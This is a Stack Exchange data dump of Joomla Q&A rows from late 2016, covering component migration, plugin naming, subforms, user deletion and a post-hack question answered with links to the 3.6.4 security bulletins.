  <row Id="18261" PostTypeId="1" CreationDate="2016-11-03T13:28:19.257" Score="1" ViewCount="40" Body="&lt;p&gt;I have a component that is compatible with joomla 2.5, but that is not rendering in a 3.6 enviroment (blank page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to modify in order to make it work...?&lt;/p&gt;&#xA;" OwnerUserId="9233" LastActivityDate="2016-12-04T06:22:42.987" Title="What do I need to change in my 2.5 component, in order to work in 3.6?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18262" PostTypeId="2" ParentId="18246" CreationDate="2016-11-03T14:11:59.203" Score="2" Body="&lt;p&gt;I don't think there is a way, within the Joomla core, to force a password reset.  There are quite a few extensions for that sort of thing though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The activation value wont do anything, I think, if you're creating a user from the JUser object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the sendEmail parameter should work, in terms of sending the user their details.  Check the options in User Manager, perhaps &quot;Send Password&quot; is set to &quot;No&quot; there.  It may be that it's set to No there, and that is overriding your parameter.  It may also be that there is a problem with the server sending email.  You can test this in &quot;Global Configuration&quot;, under the &quot;Server&quot; tab, clicking the &quot;Send Test Mail&quot; button in the bottom right.  This will show if the server is sending mail ok, and if you receive the test message, that it's not getting caught in spam filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just send the mail to the user yourself, from your script, with something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;$data = array( &#xA;  'username' =&amp;gt; $username,&#xA;  'name' =&amp;gt; $name,&#xA;  'email1' =&amp;gt; $email,&#xA;  'password1' =&amp;gt; $password, // First password field&#xA;  'password2' =&amp;gt; $password, // Confirm password field&#xA;  'sendEmail'  =&amp;gt; '0',&#xA;  'block' =&amp;gt; '0',&#xA;  'activation' =&amp;gt; '0',&#xA;  'groups' =&amp;gt;array(&quot;2&quot;,&quot;10&quot;)&#xA;);&#xA;&#xA;$user = new JUser;&#xA;if ($user-&amp;gt;bind($data)) {&#xA;    if ($user-&amp;gt;save()) {&#xA;        echo &quot;user created &amp;lt;br/&amp;gt;&quot;;&#xA;&#xA;        # welcome message&#xA;        $welcome_email = &quot;Welcome . &quot; . $name . &quot;\n&quot;&#xA;        $welcome_email .= &quot;Your username is . &quot; . $username . &quot;\n&quot;&#xA;        $welcome_email .= &quot;Your password is . &quot; . $password . &quot;\n&quot;        &#xA;&#xA;        # email set-up&#xA;        $config = JFactory::getConfig();&#xA;        $sender = array( &#xA;            $config-&amp;gt;get( 'mailfrom' ),&#xA;            $config-&amp;gt;get( 'fromname' ) &#xA;        );&#xA;        $mailer = JFactory::getMailer();&#xA;        $mailer-&amp;gt;setSender($sender);    &#xA;        $mailer-&amp;gt;isHTML(false);     &#xA;&#xA;        # send the email&#xA;        $mailer-&amp;gt;addRecipient($email);&#xA;        $mailer-&amp;gt;setSubject('Your user account is created');&#xA;        $mailer-&amp;gt;setBody($welcome_email);&#xA;        $send = $mailer_admin-&amp;gt;Send();&#xA;        if ( $send !== true) {&#xA;            echo &quot;Admin email failed: \n&quot; . print_r(error_get_last(), true) . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;            echo &quot;send toString: \n&quot; . $send-&amp;gt;__toString() . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;        } else {&#xA;            echo &quot;Admin email sent&amp;lt;br/&amp;gt;&quot;;&#xA;        }&#xA;    } else {&#xA;        echo &quot;create error &quot; . $user-&amp;gt;getError() . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;    }    &#xA;} else {&#xA;    echo &quot;bind error &quot; . $user-&amp;gt;getError() . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;}               &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the above is for Joomla 3.6.4, it may vary for older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope some of this is helpful, let me know if you've any questions of ideas. :)&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-11-03T14:11:59.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18263" PostTypeId="2" ParentId="18261" CreationDate="2016-11-03T16:18:55.520" Score="1" Body="&lt;p&gt;There was a similar question here on JSE:&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/694/migrating-component-from-2-5-to-3-3&quot;&gt;Q: Migrating component from 2.5 to 3.3&lt;/a&gt;&lt;br&gt;&#xA;whose answers suggest two main links for information about J3 backwards compatibility and new API:&lt;br&gt;&#xA;1. &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2#JRequest&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potential backward compatibility issues in Joomla 3&lt;/a&gt;&lt;br&gt;&#xA;2. &lt;a href=&quot;https://api.joomla.org/cms-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.6. API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-11-03T16:42:01.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18264" PostTypeId="1" AcceptedAnswerId="18268" CreationDate="2016-11-03T16:45:23.237" Score="2" ViewCount="32" Body="&lt;p&gt;i'm trying to edit joomla's category form with a plugin following this guide&#xA;&lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_img_categories&amp;lt;/name&amp;gt;     &#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;categories&quot;&amp;gt;categoryimg.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentCategoryCategories extends JPlugin {&#xA;    function onContentPrepareForm($form, $data) {&#xA;        echo &quot;Pippo!&quot;;&#xA;        var_dump($form-&amp;gt;getName());&#xA;    }&#xA; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was expected to see var_dump &quot;$form-&gt;getName()&quot; or &quot;Pippo!&quot; inside the administrator category form, however it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why?&lt;/p&gt;&#xA;" OwnerUserId="9234" LastActivityDate="2016-11-04T07:23:55.953" Title="Create plugin to edit category form" Tags="|plugin|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18266" PostTypeId="2" ParentId="17322" CreationDate="2016-11-03T21:33:52.363" Score="0" Body="&lt;p&gt;For your logout redirection, make sure to also check your Joomla login module, if you are using menu items, make sure they are going to active links. I used to use the default settings, but have found setting active menu items seem to work a little better.&lt;/p&gt;&#xA;" OwnerUserId="9236" LastActivityDate="2016-11-03T21:33:52.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18267" PostTypeId="2" ParentId="18261" CreationDate="2016-11-03T21:40:59.843" Score="1" Body="&lt;p&gt;You can also check with the component(s) developer(s) to see if they have a version that is compatible with Joomla 3.x A lot of the top developers for Joomla will have versions compatible with the different versions of Joomla&lt;/p&gt;&#xA;" OwnerUserId="9236" LastActivityDate="2016-11-03T21:40:59.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18268" PostTypeId="2" ParentId="18264" CreationDate="2016-11-04T07:23:55.953" Score="1" Body="&lt;p&gt;There is no plugin group like &lt;code&gt;category&lt;/code&gt;, you should use &lt;code&gt;content&lt;/code&gt; in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! relies strongly on naming conventions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Class name should be &lt;code&gt;plg[GROUP_NAME][PLUGIN_ATTR_VALUE]&lt;/code&gt;, resulting in &lt;code&gt;plgContentCategoryImg&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin name in XML should be &lt;code&gt;plg_[GROUP_NAME]_[PLUGIN_ATTR_VALUE]&lt;/code&gt;, resulting in &lt;code&gt;plg_content_categoryimg&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Plugin directory name must be &lt;code&gt;[PLUGIN_ATTR_VALUE]&lt;/code&gt;, resulting in &lt;code&gt;categoryimg&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, your files would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;categoryimg.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentCategoryImg extends JPlugin {&#xA;    function onContentPrepareForm($form, $data) {&#xA;        echo &quot;Pippo!&quot;;&#xA;        var_dump($form-&amp;gt;getName());&#xA;    }&#xA; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;categoryimg.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_categoryimg&amp;lt;/name&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;categoryimg&quot;&amp;gt;categoryimg.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And don't forget, directory name must be &lt;code&gt;categoryimg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result as I tested it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ITuvK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ITuvK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-11-04T07:23:55.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18269" PostTypeId="1" CreationDate="2016-11-04T08:34:47.217" Score="0" ViewCount="1523" Body="&lt;p&gt;I need to edit a php file of a component, that is not accessible from backend / admin due to some error. However it wont reload when edited through FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to proceed? Or is it possible to disable and enable through admin that reload edited files?&lt;/p&gt;&#xA;" OwnerUserId="9233" LastEditorUserId="383" LastEditDate="2016-11-04T09:15:31.287" LastActivityDate="2016-11-06T20:26:21.013" Title="How to edit a php file in joomla?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18270" PostTypeId="1" AcceptedAnswerId="18271" CreationDate="2016-11-04T17:56:54.670" Score="0" ViewCount="87" Body="&lt;p&gt;I need to create a &lt;strong&gt;custom Admin dashboard&lt;/strong&gt; for my client. He should be able to add, edit custom modules via this dashboard. As far as I know I need to play with &lt;code&gt;#__modules&lt;/code&gt; table (&lt;strong&gt;jdatabase&lt;/strong&gt;).I figured out column &lt;code&gt;title&lt;/code&gt; consists of module name, &lt;code&gt;content&lt;/code&gt; consists of the code/content of the module, &lt;code&gt;position&lt;/code&gt; refers to the position where the module should pop up and so on. The only thing I couldn't figure out is &lt;code&gt;Menu Assignment&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I manually set the menu's where the module should show up? What database interaction is needed? Which table stores this info?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-11-05T02:33:46.257" Title="Custom Admin Dashboard: Manual Menu Assignment to Modules" Tags="|administrator|jdatabase|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18271" PostTypeId="2" ParentId="18270" CreationDate="2016-11-05T02:33:46.257" Score="1" Body="&lt;p&gt;Think you should take a look into the table jos_modules_menu, it is where menu assignments are stored (moduleid and menuid).&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2016-11-05T02:33:46.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18272" PostTypeId="2" ParentId="18269" CreationDate="2016-11-05T04:46:40.900" Score="1" Body="&lt;p&gt;Maybe try jextplorer. Of course such an extension is guaranteed to get your site hacked if not kept up to date.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-11-05T04:46:40.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18273" PostTypeId="1" CreationDate="2016-11-06T06:57:27.720" Score="1" ViewCount="508" Body="&lt;p&gt;I'm trying to retrieving data from Joomla! Subform form field type,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;item_lists&quot; label=&quot;Item List&quot;&amp;gt;      &#xA;        &amp;lt;field name=&quot;ilist&quot; type=&quot;subform&quot;&#xA;            formsource=&quot;list.xml&quot;&#xA;            label=&quot;Add Item&quot; &#xA;            description=&quot;&quot; &#xA;            multiple=&quot;true&quot;&#xA;        /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the list.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field name=&quot;ilist_add&quot; &#xA;        type=&quot;media&quot; &#xA;        label=&quot;Add Item&quot;&#xA;        directory=&quot;&quot; &#xA;    /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now how can I load above repeatable field images with Unorder list like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;image1.jpg&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;image2.jpg&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;image3.jpg&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;image4.jpg&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="9244" LastActivityDate="2016-11-06T06:57:27.720" Title="Retrieving data from Joomla! Subform form field type" Tags="|php|joomla-3.6|xml|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18274" PostTypeId="1" AcceptedAnswerId="18275" CreationDate="2016-11-06T11:55:44.550" Score="1" ViewCount="139" Body="&lt;p&gt;I noticed the above issue when I was composing an article in Joomla.&#xA;The following is the uploaded image when viewed on a smart phone device which looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/it1bR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/it1bR.png&quot; alt=&quot;smart phone view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the web version looks very stretched.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HeSqL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeSqL.png&quot; alt=&quot;desktop version&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I do not want any re-sizing for desktop version. How do I acheive this? Please help Joomla experts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8777" LastActivityDate="2016-11-06T13:24:43.797" Title="joomla v3.6 article - uploaded image stretches to max" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18275" PostTypeId="2" ParentId="18274" CreationDate="2016-11-06T13:24:43.797" Score="2" Body="&lt;p&gt;You can easily achieve this with some custom css overrides made within your template css styles. Use media queries to adust images width to user's screen size. You may try this code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/* For width larger than 400px: */&#xA;.your-image-class {&#xA;        display: inline-block;&#xA;}&#xA;&#xA;&#xA;/* For width 400px and smaller: */&#xA;@media only screen and (max-width: 400px) {&#xA;    .your-image-class {&#xA;        display: block;&#xA;        width: 100%;&#xA;    }&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="9245" LastActivityDate="2016-11-06T13:24:43.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18276" PostTypeId="2" ParentId="18269" CreationDate="2016-11-06T20:26:21.013" Score="1" Body="&lt;p&gt;&quot;However it wont reload when edited through FTP.&quot;&lt;br&gt;&#xA;In addition to turning the Joomla &quot;Cache off&quot; as suggested by @webchn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the Joomla Cache &quot;System-Delete Cache&quot; (v3.4+).  Also, delete your web-browser's cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some 3rd party templates support CSS/JS compression / optimization and store the optimized files in a directory.  The contents of this directory too should be deleted.&lt;/p&gt;&#xA;" OwnerUserId="8913" LastActivityDate="2016-11-06T20:26:21.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18278" PostTypeId="1" AcceptedAnswerId="18557" CreationDate="2016-11-06T21:28:25.193" Score="2" ViewCount="163" Body="&lt;p&gt;I have a component (in fact it is a ticket system) that only provides ticket editing in the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since most of our other important admin functionality is in the backend (administration) I thought maybe just show the particular frontend stuff un an iframe in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way/component that does make this possible?&lt;/p&gt;&#xA;" OwnerUserId="9248" LastActivityDate="2016-12-06T00:01:05.310" Title="Show frontend pages in backend" Tags="|joomla-3.x|administrator|front-end|wrapper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18279" PostTypeId="1" AcceptedAnswerId="18280" CreationDate="2016-11-06T22:03:39.847" Score="1" ViewCount="245" Body="&lt;p&gt;I am having an outside contractor work on my joomla site, and want to protect the users and passwords. I cannot use the solution in this thread since I have too many users - &lt;a href=&quot;https://joomla.stackexchange.com/questions/15605/bulk-user-delete-on-joomla-2-5&quot;&gt;Bulk user delete on joomla 2.5&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;cloned&quot; the site to a new url, and then used MySQL Workbench to delete all of the users and the user groups map file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE FROM hhd_users where id&gt;32;&#xA;DELETE FROM hhd_user_usergroup_map where user_id &gt;32;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I now receive a 500 error after trying to login.  I cannot use the admin to delete users, even if I can show 1,000 on a screen at once because I have ~20,000 users in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to delete the usernames and passwords? Is there another table I should have deleted as well?&lt;/p&gt;&#xA;" OwnerUserId="9249" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-11-07T08:18:39.527" Title="Delete users from Joomla V2.5" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18280" PostTypeId="2" ParentId="18279" CreationDate="2016-11-07T08:18:39.527" Score="1" Body="&lt;p&gt;If you are the only Super User (main administrator), you may find your own record in &lt;code&gt;hhd_users&lt;/code&gt; and &lt;code&gt;hhd_user_usergroups_map&lt;/code&gt; tables, make a record of it, or copy relevant data to some text file, and then EMPTY both tables.&lt;br&gt;&#xA;Then create new records in both tables for yourself again, this time as only user in them. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-11-07T08:18:39.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18282" PostTypeId="1" AcceptedAnswerId="18284" CreationDate="2016-11-07T14:43:05.103" Score="5" ViewCount="2421" Body="&lt;p&gt;Recently I find a new user is created on my 3.6.0 site and put into &quot;administrator&quot; group, but the &quot;Allow User Registration&quot; option is set to &quot;NO&quot;, though the &quot;enabled&quot; and &quot;Activated&quot; status are both unchecked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded Joomla to the latest 3.6.4, then I tried to delete the user, but I was lead to a 404 page saying the page isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Joomla's user registration system is often used to inject malicious files so I turn it off. How did this hacker manage to get by it? And does this mean he some how has compromised my super user account?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="3650" LastEditDate="2016-11-13T09:13:51.073" LastActivityDate="2016-11-13T09:13:51.073" Title="How did hackers manage to create a new user while &quot;allow user registration&quot; is set to &quot;NO&quot;?" Tags="|joomla-3.x|security|registration|hacked|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18283" PostTypeId="2" ParentId="18282" CreationDate="2016-11-07T14:49:09.140" Score="2" Body="&lt;p&gt;There are many possible ways that the hacker has broken into your web,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you see these documents:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your question I would bet that the hacker could somehow upload a file to your website with a script that creates the user directly into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With knowledge of Joomla tables and function it is relatively simple to do.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2016-11-07T16:17:38.847" LastActivityDate="2016-11-07T16:17:38.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18284" PostTypeId="2" ParentId="18282" CreationDate="2016-11-07T15:58:36.243" Score="14" Body="&lt;p&gt;The main reason for 3.6.4 update was exactly what happened to you!   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security Bulletin &lt;a href=&quot;https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;[20161001] - Core - Account Creation&lt;/a&gt; states&lt;br&gt;&#xA;&quot;Inadequate checks allows for users to register on a site when registration has been disabled.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, additional vulnerability which was fixed by 3.6.4 was &lt;a href=&quot;https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;[20161002] - Core - Elevated Privileges&lt;/a&gt; &quot;Incorrect use of unfiltered data allows for users to register on a site with elevated privileges.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, just &lt;strong&gt;how did hackers manage to create new user&lt;/strong&gt; while “allow user registration” is set to “NO”, you can find in Sucuri's blog '&lt;a href=&quot;https://blog.sucuri.net/2016/10/details-on-the-privilege-escalation-vulnerability-in-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Details on the Privilege Escalation Vulnerability in Joomla&lt;/a&gt;'.&lt;br&gt;&#xA;It is very interesting read, to say at least, and pretty technical, so quite imposible to duplicate here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is most frightening about this vulnerability is that it not only allows hacker to create an account even when account registration is disabled, but also changes the administrator’s username, password, and email address! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional reads on issues with registration:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;'&lt;a href=&quot;https://vel.joomla.org/articles/1730-users-registering-without-a-registration-form-being-published&quot; rel=&quot;nofollow noreferrer&quot;&gt;Users registering without a registration form being published&lt;/a&gt;' at Joomla VEL (Vulnerable Extensions List) site, which explains it and have a few recommendations how to avoid it.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similar question here on JSE: '&lt;a href=&quot;https://joomla.stackexchange.com/questions/14047/how-to-stop-fake-users-from-registering-on-my-website&quot;&gt;How to stop (fake) users from registering on my website?&lt;/a&gt;' &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Official document on &lt;a href=&quot;https://docs.joomla.org/Setting_user_registration_policy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Setting user registration policy&lt;/a&gt; at Joomla Documentations site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, it is crucial to update your Joomlas to 3.6.4 ASAP!&lt;/strong&gt;  &lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-11-12T09:35:41.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18285" PostTypeId="1" AcceptedAnswerId="18295" CreationDate="2016-11-07T16:59:40.450" Score="2" ViewCount="589" Body="&lt;p&gt;I am trying to use the new subform feature to implement nested forms. This greatly increases the readability for developers and I thought it was already possible to do but after testing I am not so sure anymore. So I tried it out and see that while the nested forms are displayed the values are not saved. Here are the codes that are related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mod_something.xml (repeatable)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;field name=&quot;levelone&quot; type=&quot;subform&quot;&#xA;              formsource=&quot;/modules/mod_something/models/forms/levelone.xml&quot;&#xA;              min=&quot;1&quot;&#xA;              max=&quot;9999999999&quot;&#xA;              multiple=&quot;true&quot;&#xA;              layout=&quot;joomla.form.field.subform.repeatable&quot;&#xA;              groupByFieldset=&quot;false&quot;&#xA;              buttons=&quot;&quot;&#xA;              label=&quot;Level 1&quot;&#xA;              description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;levelone.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;field name=&quot;leveltwo&quot; type=&quot;subform&quot;&#xA;              formsource=&quot;/modules/mod_something/models/forms/leveltwo.xml&quot;&#xA;              min=&quot;1&quot;&#xA;              max=&quot;9999999999&quot;&#xA;              multiple=&quot;false&quot;&#xA;              layout=&quot;joomla.form.field.subform.default&quot;&#xA;              groupByFieldset=&quot;false&quot;&#xA;              buttons=&quot;&quot;&#xA;              label=&quot;Level 2&quot;&#xA;              description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;leveltwo.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;            &amp;lt;form&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&quot;test&quot;&#xA;                    type=&quot;text&quot;&#xA;                    default=&quot;&quot;&#xA;                    label=&quot;Test&quot;&#xA;                    size=&quot;10&quot;&#xA;                /&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this seems a bit strange but this is merely build for the purpose of creating a future template to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as I said the field name &lt;code&gt;test&lt;/code&gt; shows up nicely but it does not save the input. When I move this field to the &lt;code&gt;levelone.xml&lt;/code&gt; (so one level higher) then it does save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully anyone knows how to make it save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for helping!&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2017-08-18T16:47:12.203" Title="Joomla 3.6 nested subforms not saving" Tags="|module|joomla-3.6|module-params|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
